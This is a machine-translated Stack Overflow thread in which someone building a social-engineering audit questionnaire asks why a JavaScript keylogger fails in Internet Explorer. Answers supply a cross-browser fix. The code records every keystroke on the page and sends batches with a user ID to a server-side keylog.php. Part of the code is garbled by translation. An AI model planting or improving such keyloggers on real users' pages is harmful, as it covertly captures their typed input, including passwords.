javascript onkeypress/onkeydown在IE中不起作用

javascript onkeypress/onkeydown在IE中不起作用,javascript,internet-explorer,keycode,onkeypress,Javascript,Internet Explorer,Keycode,Onkeypress,我正在编写这份调查问卷,用于IT安全社会工程审计。除了所有表单字段之外,我还试图构建一个javascript键盘记录器,以获取有关用户操作的更多信息 到目前为止,键盘记录器在FF中工作得很好,但不是IE。我必须同时使用这两种工具。感谢您的帮助/想法 <script> function sendkeylog (keylog, userID) { if (window.ActiveXObject) { httpRequest = new ActiveXObject("Microsoft

我正在编写这份调查问卷,用于IT安全社会工程审计。除了所有表单字段之外,我还试图构建一个javascript键盘记录器,以获取有关用户操作的更多信息

到目前为止,键盘记录器在FF中工作得很好,但不是IE。我必须同时使用这两种工具。感谢您的帮助/想法

<script>

function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}

keylog="";
userID="";

document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}

</script> 

函数sendkeylog(keylog,userID){
if(window.ActiveXObject){
httpRequest=新的ActiveXObject(“Microsoft.XMLHTTP”);
}
否则{
httpRequest=新的XMLHttpRequest();
}
打开(“GET”,“keylog.php?keylog=“+keylog+”&userID=“+userID,true”);
httpRequest.send(空);
}
keylog=“”;
userID=“”;
document.onkeypress=函数savekeycode(e){
keylog+=String.fromCharCode(e.charCode);
if((keylog.length==5)| |(event.keyCode=13)){
var userID=“”;
sendkeylog(keylog,用户ID);
keylog=“”;
userID=“”;
}
}
(旧版)IE不支持
事件.charCode
。您可以尝试以下方法:

document.onkeypress = function (e) {
    var evt = e || window.event,
        charCode = evt.charCode || evt.keyCode;
    keylog += String.fromCharCode(charCode);
    if ((keylog.length === 5) || (charCode === 13)) {
        ...
}

在调用者和被调用者参数中使用相同的变量名(
keylog
)可能会导致IE<8中出现
内存不足
错误。使用…

时可能会遇到更多的问题我在编写jquery插件之前就注意到了这个问题- 请尝试使用

String.fromCharCode(event.which)
而不是键码。。它适用于IE6+所有其他浏览器


谢谢。

这并不能解决问题。蒂姆提供的解决方案奏效了。谢谢你的帮助:)同位语,我想会。。很高兴听到你解决了这个问题。谢谢:)